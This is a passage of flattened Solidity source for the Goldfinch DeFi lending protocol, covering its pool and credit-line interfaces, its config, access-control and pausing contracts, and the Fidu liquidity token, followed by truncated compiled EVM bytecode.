principalRedeemed, uint256 interestRedeemed ) external; function burn(uint256 tokenId) external; function onPoolCreated(address newPool) external; function getTokenInfo(uint256 tokenId) external view returns (TokenInfo memory); function validPool(address sender) external view returns (bool); function isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./ITranchedPool.sol"; abstract contract ISeniorPool { uint256 public sharePrice; uint256 public totalLoansOutstanding; uint256 public totalWritedowns; function deposit(uint256 amount) external virtual returns (uint256 depositShares); function depositWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external virtual returns (uint256 depositShares); function withdraw(uint256 usdcAmount) external virtual returns (uint256 amount); function withdrawInFidu(uint256 fiduAmount) external virtual returns (uint256 amount); function sweepToCompound() public virtual; function sweepFromCompound() public virtual; function invest(ITranchedPool pool) public virtual; function estimateInvestment(ITranchedPool pool) public view virtual returns (uint256); function investJunior(ITranchedPool pool, uint256 amount) public virtual; function redeem(uint256 tokenId) public virtual; function writedown(uint256 tokenId) public virtual; function calculateWritedown(uint256 tokenId) public view virtual returns (uint256 writedownAmount); function assets() public view virtual returns (uint256); function getNumShares(uint256 amount) public view virtual returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./ISeniorPool.sol"; import "./ITranchedPool.sol"; abstract contract ISeniorPoolStrategy { function invest(ISeniorPool seniorPool, ITranchedPool pool) public view virtual returns (uint256 amount); function estimateInvestment(ISeniorPool seniorPool, ITranchedPool pool) public view virtual returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./IV2CreditLine.sol"; abstract contract ITranchedPool { IV2CreditLine public creditLine; uint256 public createdAt; enum Tranches {Reserved, Senior, Junior} struct TrancheInfo { uint256 id; uint256 principalDeposited; uint256 principalSharePrice; uint256 interestSharePrice; uint256 lockedUntil; } function initialize( address _config, address _borrower, uint256 _juniorFeePercent, uint256 _limit, uint256 _interestApr, uint256 _paymentPeriodInDays, uint256 _termInDays, uint256 _lateFeeApr ) public virtual; function getTranche(uint256 tranche) external view virtual returns (TrancheInfo memory); function pay(uint256 amount) external virtual; function lockJuniorCapital() external virtual; function lockPool() external virtual; function drawdown(uint256 amount) external virtual; function deposit(uint256 tranche, uint256 amount) external virtual returns (uint256 tokenId); function assess() external virtual; function depositWithPermit( uint256 tranche, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external virtual returns (uint256 tokenId); function availableToWithdraw(uint256 tokenId) external view virtual returns (uint256 interestRedeemable, uint256 principalRedeemable); function withdraw(uint256 tokenId, uint256 amount) external virtual returns (uint256 interestWithdrawn, uint256 principalWithdrawn); function withdrawMax(uint256 tokenId) external virtual returns (uint256 interestWithdrawn, uint256 principalWithdrawn); function withdrawMultiple(uint256[] calldata tokenIds, uint256[] calldata amounts) external virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./ICreditLine.sol"; abstract contract IV2CreditLine is ICreditLine { function principal() external view virtual returns (uint256); function totalInterestAccrued() external view virtual returns (uint256); function termStartTime() external view virtual returns (uint256); function setLimit(uint256 newAmount) external virtual; function setBalance(uint256 newBalance) external virtual; function setPrincipal(uint256 _principal) external virtual; function setTotalInterestAccrued(uint256 _interestAccrued) external virtual; function drawdown(uint256 amount) external virtual; function assess() external virtual returns ( uint256, uint256, uint256 ); function initialize( address _config, address owner, address _borrower, uint256 _limit, uint256 _interestApr, uint256 _paymentPeriodInDays, uint256 _termInDays, uint256 _lateFeeApr ) public virtual; function setTermEndTime(uint256 newTermEndTime) external virtual; function setNextDueTime(uint256 newNextDueTime) external virtual; function setInterestOwed(uint256 newInterestOwed) external virtual; function setPrincipalOwed(uint256 newPrincipalOwed) external virtual; function setInterestAccruedAsOf(uint256 newInterestAccruedAsOf) external virtual; function setWritedownAmount(uint256 newWritedownAmount) external virtual; function setLastFullPaymentTime(uint256 newLastFullPaymentTime) external virtual; function setLateFeeApr(uint256 newLateFeeApr) external virtual; function updateGoldfinchConfig() external virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/Initializable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "./PauserPausable.sol"; /** * @title BaseUpgradeablePausable contract * @notice This is our Base contract that most other contracts inherit from. It includes many standard * useful abilities like ugpradeability, pausability, access control, and re-entrancy guards. * @author Goldfinch */ contract BaseUpgradeablePausable is Initializable, AccessControlUpgradeSafe, PauserPausable, ReentrancyGuardUpgradeSafe { bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); using SafeMath for uint256; // Pre-reserving a few slots in the base contract in case we need to add things in the future. // This does not actually take up gas cost or storage cost, but it does reserve the storage slots. // See OpenZeppelin's use of this pattern here: // https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/master/contracts/GSN/Context.sol#L37 uint256[50] private __gap1; uint256[50] private __gap2; uint256[50] private __gap3; uint256[50] private __gap4; // solhint-disable-next-line func-name-mixedcase function __BaseUpgradeablePausable__init(address owner) public initializer { require(owner != address(0), "Owner cannot be the zero address"); __AccessControl_init_unchained(); __Pausable_init_unchained(); __ReentrancyGuard_init_unchained(); _setupRole(OWNER_ROLE, owner); _setupRole(PAUSER_ROLE, owner); _setRoleAdmin(PAUSER_ROLE, OWNER_ROLE); _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); } function isAdmin() public view returns (bool) { return hasRole(OWNER_ROLE, _msgSender()); } modifier onlyAdmin() { require(isAdmin(), "Must have admin role to perform this action"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./GoldfinchConfig.sol"; import "../../interfaces/IPool.sol"; import "../../interfaces/IFidu.sol"; import "../../interfaces/ISeniorPool.sol"; import "../../interfaces/ISeniorPoolStrategy.sol"; import "../../interfaces/ICreditDesk.sol"; import "../../interfaces/IERC20withDec.sol"; import "../../interfaces/ICUSDCContract.sol"; import "../../interfaces/IPoolTokens.sol"; import "../../interfaces/IGoldfinchFactory.sol"; /** * @title ConfigHelper * @notice A convenience library for getting easy access to other contracts and constants within the * protocol, through the use of the GoldfinchConfig contract * @author Goldfinch */ library ConfigHelper { function getPool(GoldfinchConfig config) internal view returns (IPool) { return IPool(poolAddress(config)); } function getSeniorPool(GoldfinchConfig config) internal view returns (ISeniorPool) { return ISeniorPool(seniorPoolAddress(config)); } function getSeniorPoolStrategy(GoldfinchConfig config) internal view returns (ISeniorPoolStrategy) { return ISeniorPoolStrategy(seniorPoolStrategyAddress(config)); } function getUSDC(GoldfinchConfig config) internal view returns (IERC20withDec) { return IERC20withDec(usdcAddress(config)); } function getCreditDesk(GoldfinchConfig config) internal view returns (ICreditDesk) { return ICreditDesk(creditDeskAddress(config)); } function getFidu(GoldfinchConfig config) internal view returns (IFidu) { return IFidu(fiduAddress(config)); } function getCUSDCContract(GoldfinchConfig config) internal view returns (ICUSDCContract) { return ICUSDCContract(cusdcContractAddress(config)); } function getPoolTokens(GoldfinchConfig config) internal view returns (IPoolTokens) { return IPoolTokens(poolTokensAddress(config)); } function getGoldfinchFactory(GoldfinchConfig config) internal view returns (IGoldfinchFactory) { return IGoldfinchFactory(goldfinchFactoryAddress(config)); } function oneInchAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.OneInch)); } function creditLineImplementationAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.CreditLineImplementation)); } function trustedForwarderAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.TrustedForwarder)); } function configAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.GoldfinchConfig)); } function poolAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.Pool)); } function poolTokensAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.PoolTokens)); } function seniorPoolAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.SeniorPool)); } function seniorPoolStrategyAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.SeniorPoolStrategy)); } function creditDeskAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.CreditDesk)); } function goldfinchFactoryAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.GoldfinchFactory)); } function fiduAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.Fidu)); } function cusdcContractAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.CUSDCContract)); } function usdcAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.USDC)); } function tranchedPoolAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.TranchedPoolImplementation)); } function migratedTranchedPoolAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.MigratedTranchedPoolImplementation)); } function reserveAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.TreasuryReserve)); } function protocolAdminAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.ProtocolAdmin)); } function borrowerImplementationAddress(GoldfinchConfig config) internal view returns (address) { return config.getAddress(uint256(ConfigOptions.Addresses.BorrowerImplementation)); } function getReserveDenominator(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.ReserveDenominator)); } function getWithdrawFeeDenominator(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.WithdrawFeeDenominator)); } function getLatenessGracePeriodInDays(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.LatenessGracePeriodInDays)); } function getLatenessMaxDays(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.LatenessMaxDays)); } function getDrawdownPeriodInSeconds(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.DrawdownPeriodInSeconds)); } function getTransferRestrictionPeriodInDays(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.TransferRestrictionPeriodInDays)); } function getLeverageRatio(GoldfinchConfig config) internal view returns (uint256) { return config.getNumber(uint256(ConfigOptions.Numbers.LeverageRatio)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @title ConfigOptions * @notice A central place for enumerating the configurable options of our GoldfinchConfig contract * @author Goldfinch */ library ConfigOptions { // NEVER EVER CHANGE THE ORDER OF THESE! // You can rename or append. But NEVER change the order. enum Numbers { TransactionLimit, TotalFundsLimit, MaxUnderwriterLimit, ReserveDenominator, WithdrawFeeDenominator, LatenessGracePeriodInDays, LatenessMaxDays, DrawdownPeriodInSeconds, TransferRestrictionPeriodInDays, LeverageRatio } enum Addresses { Pool, CreditLineImplementation, GoldfinchFactory, CreditDesk, Fidu, USDC, TreasuryReserve, ProtocolAdmin, OneInch, TrustedForwarder, CUSDCContract, GoldfinchConfig, PoolTokens, TranchedPoolImplementation, SeniorPool, SeniorPoolStrategy, MigratedTranchedPoolImplementation, BorrowerImplementation } function getNumberName(uint256 number) public pure returns (string memory) { Numbers numberName = Numbers(number); if (Numbers.TransactionLimit == numberName) { return "TransactionLimit"; } if (Numbers.TotalFundsLimit == numberName) { return "TotalFundsLimit"; } if (Numbers.MaxUnderwriterLimit == numberName) { return "MaxUnderwriterLimit"; } if (Numbers.ReserveDenominator == numberName) { return "ReserveDenominator"; } if (Numbers.WithdrawFeeDenominator == numberName) { return "WithdrawFeeDenominator"; } if (Numbers.LatenessGracePeriodInDays == numberName) { return "LatenessGracePeriodInDays"; } if (Numbers.LatenessMaxDays == numberName) { return "LatenessMaxDays"; } if (Numbers.DrawdownPeriodInSeconds == numberName) { return "DrawdownPeriodInSeconds"; } if (Numbers.TransferRestrictionPeriodInDays == numberName) { return "TransferRestrictionPeriodInDays"; } if (Numbers.LeverageRatio == numberName) { return "LeverageRatio"; } revert("Unknown value passed to getNumberName"); } function getAddressName(uint256 addressKey) public pure returns (string memory) { Addresses addressName = Addresses(addressKey); if (Addresses.Pool == addressName) { return "Pool"; } if (Addresses.CreditLineImplementation == addressName) { return "CreditLineImplementation"; } if (Addresses.GoldfinchFactory == addressName) { return "GoldfinchFactory"; } if (Addresses.CreditDesk == addressName) { return "CreditDesk"; } if (Addresses.Fidu == addressName) { return "Fidu"; } if (Addresses.USDC == addressName) { return "USDC"; } if (Addresses.TreasuryReserve == addressName) { return "TreasuryReserve"; } if (Addresses.ProtocolAdmin == addressName) { return "ProtocolAdmin"; } if (Addresses.OneInch == addressName) { return "OneInch"; } if (Addresses.TrustedForwarder == addressName) { return "TrustedForwarder"; } if (Addresses.CUSDCContract == addressName) { return "CUSDCContract"; } if (Addresses.PoolTokens == addressName) { return "PoolTokens"; } if (Addresses.TranchedPoolImplementation == addressName) { return "TranchedPoolImplementation"; } if (Addresses.SeniorPool == addressName) { return "SeniorPool"; } if (Addresses.SeniorPoolStrategy == addressName) { return "SeniorPoolStrategy"; } if (Addresses.MigratedTranchedPoolImplementation == addressName) { return "MigratedTranchedPoolImplementation"; } if (Addresses.BorrowerImplementation == addressName) { return "BorrowerImplementation"; } revert("Unknown value passed to getAddressName"); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/presets/ERC20PresetMinterPauser.sol"; import "./ConfigHelper.sol"; /** * @title Fidu * @notice Fidu (symbol: FIDU) is Goldfinch's liquidity token, representing shares * in the Pool. When you deposit, we mint a corresponding amount of Fidu, and when you withdraw, we * burn Fidu. The share price of the Pool implicitly represents the "exchange rate" between Fidu * and USDC (or whatever currencies the Pool may allow withdraws in during the future) * @author Goldfinch */ contract Fidu is ERC20PresetMinterPauserUpgradeSafe { bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE"); // $1 threshold to handle potential rounding errors, from differing decimals on Fidu and USDC; uint256 public constant ASSET_LIABILITY_MATCH_THRESHOLD = 1e6; GoldfinchConfig public config; using ConfigHelper for GoldfinchConfig; /* We are using our own initializer function so we can set the owner by passing it in. I would override the regular "initializer" function, but I can't because it's not marked as "virtual" in the parent contract */ // solhint-disable-next-line func-name-mixedcase function __initialize__( address owner, string calldata name, string calldata symbol, GoldfinchConfig _config ) external initializer { __Context_init_unchained(); __AccessControl_init_unchained(); __ERC20_init_unchained(name, symbol); __ERC20Burnable_init_unchained(); __Pausable_init_unchained(); __ERC20Pausable_init_unchained(); config = _config; _setupRole(MINTER_ROLE, owner); _setupRole(PAUSER_ROLE, owner); _setupRole(OWNER_ROLE, owner); _setRoleAdmin(MINTER_ROLE, OWNER_ROLE); _setRoleAdmin(PAUSER_ROLE, OWNER_ROLE); _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); } /** * @dev Creates `amount` new tokens for `to`. * * See {ERC20-_mint}. * * Requirements: * * - the caller must have the `MINTER_ROLE`. */ function mintTo(address to, uint256 amount) public { require(canMint(amount), "Cannot mint: it would create an asset/liability mismatch"); // This super call restricts to only the minter in its implementation, so we don't need to do it here. super.mint(to, amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have the MINTER_ROLE */ function burnFrom(address from, uint256 amount) public override { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: Must have minter role to burn"); require(canBurn(amount), "Cannot burn: it would create an asset/liability mismatch"); _burn(from, amount); } // Internal functions // canMint assumes that the USDC that backs the new shares has already been sent to the Pool function canMint(uint256 newAmount) internal view returns (bool) { ISeniorPool seniorPool = config.getSeniorPool(); uint256 liabilities = totalSupply().add(newAmount).mul(seniorPool.sharePrice()).div(fiduMantissa()); uint256 liabilitiesInDollars = fiduToUSDC(liabilities); uint256 _assets = seniorPool.assets(); if (_assets >= liabilitiesInDollars) { return true; } else { return liabilitiesInDollars.sub(_assets) <= ASSET_LIABILITY_MATCH_THRESHOLD; } } // canBurn assumes that the USDC that backed these shares has already been moved out the Pool function canBurn(uint256 amountToBurn) internal view returns (bool) { ISeniorPool seniorPool = config.getSeniorPool(); uint256 liabilities = totalSupply().sub(amountToBurn).mul(seniorPool.sharePrice()).div(fiduMantissa()); uint256 liabilitiesInDollars = fiduToUSDC(liabilities); uint256 _assets = seniorPool.assets(); if (_assets >= liabilitiesInDollars) { return true; } else { return liabilitiesInDollars.sub(_assets) <= ASSET_LIABILITY_MATCH_THRESHOLD; } } function fiduToUSDC(uint256 amount) internal pure returns (uint256) { return amount.div(fiduMantissa().div(usdcMantissa())); } function fiduMantissa() internal pure returns (uint256) { return uint256(10)**uint256(18); } function usdcMantissa() internal pure returns (uint256) { return uint256(10)**uint256(6); } function updateGoldfinchConfig() external { require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: Must have minter role to change config"); config = GoldfinchConfig(config.configAddress()); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./BaseUpgradeablePausable.sol"; import "../../interfaces/IGoldfinchConfig.sol"; import "./ConfigOptions.sol"; /** * @title GoldfinchConfig * @notice This contract stores mappings of useful "protocol config state", giving a central place * for all other contracts to access it. For example, the TransactionLimit, or the PoolAddress. These config vars * are enumerated in the `ConfigOptions` library, and can only be changed by admins of the protocol. * Note: While this inherits from BaseUpgradeablePausable, it is not deployed as an upgradeable contract (this * is mostly to save gas costs of having each call go through a proxy) * @author Goldfinch */ contract GoldfinchConfig is BaseUpgradeablePausable { bytes32 public constant GO_LISTER_ROLE = keccak256("GO_LISTER_ROLE"); mapping(uint256 => address) public addresses; mapping(uint256 => uint256) public numbers; mapping(address => bool) public goList; event AddressUpdated(address owner, uint256 index, address oldValue, address newValue); event NumberUpdated(address owner, uint256 index, uint256 oldValue, uint256 newValue); event GoListed(address indexed member); event NoListed(address indexed member); bool public valuesInitialized; function initialize(address owner) public initializer { require(owner != address(0), "Owner address cannot be empty"); __BaseUpgradeablePausable__init(owner); _setupRole(GO_LISTER_ROLE, owner); _setRoleAdmin(GO_LISTER_ROLE, OWNER_ROLE); } function setAddress(uint256 addressIndex, address newAddress) public onlyAdmin { require(addresses[addressIndex] == address(0), "Address has already been initialized"); emit AddressUpdated(msg.sender, addressIndex, addresses[addressIndex], newAddress); addresses[addressIndex] = newAddress; } function setNumber(uint256 index, uint256 newNumber) public onlyAdmin { emit NumberUpdated(msg.sender, index, numbers[index], newNumber); numbers[index] = newNumber; } function setTreasuryReserve(address newTreasuryReserve) public onlyAdmin { uint256 key = uint256(ConfigOptions.Addresses.TreasuryReserve); emit AddressUpdated(msg.sender, key, addresses[key], newTreasuryReserve); addresses[key] = newTreasuryReserve; } function setSeniorPoolStrategy(address newStrategy) public onlyAdmin { uint256 key = uint256(ConfigOptions.Addresses.SeniorPoolStrategy); emit AddressUpdated(msg.sender, key, addresses[key], newStrategy); addresses[key] = newStrategy; } function setCreditLineImplementation(address newAddress) public onlyAdmin { uint256 key = uint256(ConfigOptions.Addresses.CreditLineImplementation); emit AddressUpdated(msg.sender, key, addresses[key], newAddress); addresses[key] = newAddress; } function setBorrowerImplementation(address newAddress) public onlyAdmin { uint256 key = uint256(ConfigOptions.Addresses.BorrowerImplementation); emit AddressUpdated(msg.sender, key, addresses[key], newAddress); addresses[key] = newAddress; } function setGoldfinchConfig(address newAddress) public onlyAdmin { uint256 key = uint256(ConfigOptions.Addresses.GoldfinchConfig); emit AddressUpdated(msg.sender, key, addresses[key], newAddress); addresses[key] = newAddress; } function initializeFromOtherConfig(address _initialConfig) public onlyAdmin { require(!valuesInitialized, "Already initialized values"); IGoldfinchConfig initialConfig = IGoldfinchConfig(_initialConfig); for (uint256 i = 0; i < 10; i++) { setNumber(i, initialConfig.getNumber(i)); } for (uint256 i = 0; i < 11; i++) { if (getAddress(i) == address(0)) { setAddress(i, initialConfig.getAddress(i)); } } valuesInitialized = true; } /** * @dev Adds a user to go-list * @param _member address to add to go-list */ function addToGoList(address _member) public onlyGoListerRole { goList[_member] = true; emit GoListed(_member); } /** * @dev removes a user from go-list * @param _member address to remove from go-list */ function removeFromGoList(address _member) public onlyGoListerRole { goList[_member] = false; emit NoListed(_member); } /** * @dev adds many users to go-list at once * @param _members addresses to ad to go-list */ function bulkAddToGoList(address[] calldata _members) external onlyGoListerRole { for (uint256 i = 0; i < _members.length; i++) { addToGoList(_members[i]); } } /** * @dev removes many users from go-list at once * @param _members addresses to remove from go-list */ function bulkRemoveFromGoList(address[] calldata _members) external onlyGoListerRole { for (uint256 i = 0; i < _members.length; i++) { removeFromGoList(_members[i]); } } /* Using custom getters in case we want to change underlying implementation later, or add checks or validations later on. */ function getAddress(uint256 index) public view returns (address) { return addresses[index]; } function getNumber(uint256 index) public view returns (uint256) { return numbers[index]; } modifier onlyGoListerRole() { require(hasRole(GO_LISTER_ROLE, _msgSender()), "Must have go-lister role to perform this action"); _; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Pausable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; /** * @title PauserPausable * @notice Inheriting from OpenZeppelin's Pausable contract, this does small * augmentations to make it work with a PAUSER_ROLE, leveraging the AccessControl contract. * It is meant to be inherited. * @author Goldfinch */ contract PauserPausable is AccessControlUpgradeSafe, PausableUpgradeSafe { bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // solhint-disable-next-line func-name-mixedcase function __PauserPausable__init() public initializer { __Pausable_init_unchained(); } /** * @dev Pauses all functions guarded by Pause * * See {Pausable-_pause}. * * Requirements: * * - the caller must have the PAUSER_ROLE. */ function pause() public onlyPauserRole { _pause(); } /** * @dev Unpauses the contract * * See {Pausable-_unpause}. * * Requirements: * * - the caller must have the Pauser role */ function unpause() public onlyPauserRole { _unpause(); } modifier onlyPauserRole() { require(hasRole(PAUSER_ROLE, _msgSender()), "Must have pauser role to perform this action"); _; } }
0x608060405234801561001057600080fd5b50600436106102065760003560e01c806370a082311161011a578063a457c2d7116100ad578063d547741f1161007c578063d547741f146103fa578063dd62ed3e1461040d578063e58378bb14610420578063e63ab1e914610428578063f77356f01461043057610206565b8063a457c2d7146103b9578063a9059cbb146103cc578063ca15c873146103df578063d5391393146103f257610206565b80639010d07c116100e95780639010d07c1461038357806391d148541461039657806395d89b41146103a9578063a217fddf146103b157610206565b806370a082311461034057806379502c551461035357806379cc6790146103685780638456cb591461037b57610206565b8063395093511161019d578063449a52f81161016c578063449a52f8146103025780634cd88b76146103155780634f92a728146103285780635c975abb1461033057806363be20301461033857610206565b806339509351146102c15780633f4ba83a146102d457806340c10f19146102dc57806342966c68146102ef57610206565b8063248a9ca3116101d9578063248a9ca3146102715780632f2ff15d14610284578063313ce5671461029957806336568abe146102ae57610206565b806306fdde031461020b578063095ea7b31461022957806318160ddd1461024957806323b872dd1461025e575b600080fd5b610213610443565b6040516102209190611ea7565b60405180910390f35b61023c610237366004611d7e565b6104d9565b6040516102209190611e93565b6102516104f7565b6040516102209190611e9e565b61023c61026c366004611cac565b6104fd565b61025161027f366004611da9565b610584565b610297610292366004611dc1565b61059c565b005b6102a16105ed565b604051610220919061258b565b6102976102bc366004611dc1565b6105f6565b61023c6102cf366004611d7e565b610638565b610297610686565b6102976102ea366004611d7e565b6106c6565b6102976102fd366004611da9565b610706565b610297610310366004611d7e565b61071a565b610297610323366004611e06565b610749565b610297610753565b61023c6107c2565b6102516107cb565b61025161034e366004611c3c565b6107d2565b61035b6107ed565b6040516102209190611e7f565b610297610376366004611d7e565b6107fd565b610297610862565b61035b610391366004611de5565b6108a0565b61023c6103a4366004611dc1565b6108bf565b6102136108d7565b610251610938565b61023c6103c7366004611d7e565b61093d565b61023c6103da366004611d7e565b6109a5565b6102516103ed366004611da9565b6109b9565b6102516109d0565b610297610408366004611dc1565b6109e2565b61025161041b366004611c74565b610a1c565b610251610a47565b610251610a59565b61029761043e366004611cec565b610a6b565b609a8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104cf5780601f106104a4576101008083540402835291602001916104cf565b820191906000526020600020905b8154815290600101906020018083116104b257829003601f168201915b5050505050905090565b60006104ed6104e6610c57565b8484610c5b565b5060015b92915050565b60995490565b600061050a848484610d0f565b61057a84610516610c57565b61057585604051806060016040528060288152602001612617602891396001600160a01b038a16600090815260986020526040812090610554610c57565b6001600160a01b031681526020810191909152604001600020549190610e24565b610c5b565b5060019392505050565b6000818152606560205260409020600201545b919050565b6000828152606560205260409020600201546105ba906103a4610c57565b6105df5760405162461bcd60e51b81526004016105d690611f7f565b60405180910390fd5b6105e98282610e50565b5050565b609c5460ff1690565b6105fe610c57565b6001600160a01b0316816001600160a01b03161461062e5760405162461bcd60e51b81526004016105d6906124bb565b6105e98282610eb9565b60006104ed610645610c57565b846105758560986000610656610c57565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610f22565b6106a060008051602061263f8339815191526103a4610c57565b6106bc5760405162461bcd60e51b81526004016105d690611ffc565b6106c4610f47565b565b6106e060008051602061265f8339815191526103a4610c57565b6106fc5760405162461bcd60e51b81526004016105d690612242565b6105e98282610fb3565b610717610711610c57565b82611073565b50565b61072381611149565b61073f5760405162461bcd60e51b81526004016105d690612463565b6105e982826106c6565b6105e982826112b8565b61076d60008051602061265f8339815191526103a4610c57565b6107895760405162461bcd60e51b81526004016105d690612059565b6101915461079f906001600160a01b0316611379565b61019180546001600160a01b0319166001600160a01b0392909216919091179055565b60fb5460ff1690565b620f424081565b6001600160a01b031660009081526097602052604090205490565b610191546001600160a01b031681565b61081760008051602061265f8339815191526103a4610c57565b6108335760405162461bcd60e51b81526004016105d69061236c565b61083c816113f9565b6108585760405162461bcd60e51b81526004016105d6906121ea565b6105e98282611073565b61087c60008051602061263f8339815191526103a4610c57565b6108985760405162461bcd60e51b81526004016105d690612406565b6106c46114a9565b60008281526065602052604081206108b89083611502565b9392505050565b60008281526065602052604081206108b8908361150e565b609b8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104cf5780601f106104a4576101008083540402835291602001916104cf565b600081565b60006104ed61094a610c57565b846105758560405180606001604052806025815260200161267f6025913960986000610974610c57565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190610e24565b60006104ed6109b2610c57565b8484610d0f565b60008181526065602052604081206104f190611523565b60008051602061265f83398151915281565b600082815260656020526040902060020154610a00906103a4610c57565b61062e5760405162461bcd60e51b81526004016105d69061212f565b6001600160a01b03918216600090815260986020908152604080832093909416825291909152205490565b6000805160206125f783398151915281565b60008051602061263f83398151915281565b600054610100900460ff1680610a845750610a8461152e565b80610a92575060005460ff16155b610aae5760405162461bcd60e51b81526004016105d690612298565b600054610100900460ff16158015610ad9576000805460ff1961ff0019909116610100171660011790555b610ae1611534565b610ae9611534565b610b5c86868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8a0181900481028201810190925288815292508891508790819084018382808284376000920191909152506115b692505050565b610b64611534565b610b6c61166f565b610b74611534565b61019180546001600160a01b0319166001600160a01b038416179055610ba860008051602061265f833981519152886105df565b610bc060008051602061263f833981519152886105df565b610bd86000805160206125f7833981519152886105df565b610bfe60008051602061265f8339815191526000805160206125f78339815191526116fb565b610c2460008051602061263f8339815191526000805160206125f78339815191526116fb565b610c3c6000805160206125f7833981519152806116fb565b8015610c4e576000805461ff00191690555b50505050505050565b3390565b6001600160a01b038316610c815760405162461bcd60e51b81526004016105d6906123c2565b6001600160a01b038216610ca75760405162461bcd60e51b81526004016105d6906120b6565b6001600160a01b0380841660008181526098602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d02908590611e9e565b60405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b81526004016105d690612327565b6001600160a01b038216610d5b5760405162461bcd60e51b81526004016105d690611f3c565b610d66838383611710565b610da3816040518060600160405280602681526020016125d1602691396001600160a01b0386166000908152609760205260409020549190610e24565b6001600160a01b038085166000908152609760205260408082209390935590841681522054610dd29082610f22565b6001600160a01b0380841660008181526097602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d02908590611e9e565b60008184841115610e485760405162461bcd60e51b81526004016105d69190611ea7565b505050900390565b6000828152606560205260409020610e68908261171b565b156105e957610e75610c57565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000828152606560205260409020610ed19082611730565b156105e957610ede610c57565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6000828201838110156108b85760405162461bcd60e51b81526004016105d6906120f8565b60fb5460ff16610f6957604051